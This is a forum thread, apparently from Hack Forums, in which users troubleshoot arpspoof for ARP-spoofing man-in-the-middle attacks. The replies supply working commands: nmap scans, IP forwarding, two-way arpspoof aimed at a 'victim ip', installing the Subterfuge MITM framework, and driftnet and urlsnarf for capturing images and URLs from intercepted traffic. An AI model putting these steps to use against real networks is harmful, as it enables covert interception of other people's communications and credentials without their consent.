

Forum:[Hack Forums](#)

Thread: [arpspoof giving back an error.](#)

Corruption - June 30, 2017, 1:17 am

Any ideas why arpspoof is not working? I am getting this error the -t is up and positive on netdiscover.

I first thought it could be a antivirus blacking SSLstrip attacks but I tried this on my own win 7 where I test all my payloads etc and it still gives me an error.

```
"corrupt@kali:~# arpspoof -i wlan1 -t 192.168.1.111 -r 192.168.1.1
arpspoof: couldn't arp for host 192.168.1.111"
```

Am using ALFA Network Adapter but also tried with wlan0 which is my build in and got the same error.

PS: Before anyone asks no I am not running on a vm ///

Any advice would be nice?.

quirky - June 30, 2017, 12:24 pm

first of all do a Code nmap -sC -sS -sV -PN -T4 -F -O --osscan-guess 192.168.6.0/24 then a Code iwconfig to be sure your ip is on the same subnet
and of course, i hope that .111 is not your ip :)
just go with Code arpspoof -i wlan1 -t 192.168.1.111 192.168.1.1 replace the first ip(the one finishing in .111) with your victim ip

Corruption - July 1, 2017, 8:45 pm

(Jun 30, 2017 12:24 PM)bob79 Wrote: [\[CITE\]](#) first of all do a Code nmap -sC -sS -sV -PN -T4 -F -O --osscan-guess 192.168.6.0/24 then a Code iwconfig to be sure your ip is on the same subnet
and of course, i hope that .111 is not your ip :)
just go with Code arpspoof -i wlan1 -t 192.168.1.111 192.168.1.1 replace the first ip(the one finishing in .111) with your victim ip
Well not an idiot :p

I tried all of the things you said above b4r an still the same issue.

Mr. Robot - July 1, 2017, 8:52 pm

Make sure your card is in managed mode.

Then do

```
Code sysctl -w net.ipv4.ip_forward=1(you can also do instead)
Code echo 1 > /proc/sys/net/ipv4/ip_forwardAlso try ettercap also.
```

This is an old post I made, it's not exactly what you're after but have it anyway

You do not need port forwarding for man in the middle attacks to work.

Make sure you enable IP forwarding.

Code `sysctl -w net.ipv4.ip_forward=1`

Then focus on your attack. I recommend using ettercap to practice, then move onto arpspoof in command line

If you want to focus on images and URLs, I would do ettercap or arpspoof or if you are extremely lazy you can use Subterfuge

<https://github.com/Subterfuge-Framework/Subterfuge>

To use Subterfuge it's as simple as installing and then running 'subterfuge' from anywhere in a terminal

Code `git clone https://github.com/Subterfuge-Framework/Subterfuge.git`

`cd Subterfuge`

`python setup.py`

To use arpspoof you would use

Code `arpspoof -i eth0 -t 192.168.8.90 192.168.8.8`

`arpspoof -i eth0 -t 192.168.8.8 192.168.8.90`

Remember to use 2 separate terminals as they both need to run at the same time/

Replace eth0 with the interface you are using for the attack, and then 192.168.8.8 with your Gateway IP and 192.168.8.90 with the IP of the computer you wish to intercept packets from (your windows computer or possibly your phone)

To use Ettercap - I prefer to use the graphical interface although for long periods of use, it can cause issues.

Code `Ettercap -G`

Then run

Code `driftnet -i wlan0` That would use the interface wlan0 (wireless card generally) and find all images that travel across the network during a man in the middle attack

Code `urlsnarf -i eth0 |cut -d\" -f4` This will find any URLs but cut any extra http header info urlsnarf normally shows which allows for easier reading

An example of me browsing HF while using urlsnarf and driftnet

quirky - July 2, 2017, 1:06 am

(Jul 1, 2017 08:45 PM)Corruption Wrote: [\[CITE\]](#) Well not an idiot :p

I tried all of the things you said above b4r an still the same issue.

as Mr. Robot said, be sure your card is in managed mode and not in monitor, make sure you allow packet forwarding and also try with "sudo" since you need to be root to open link layer sockets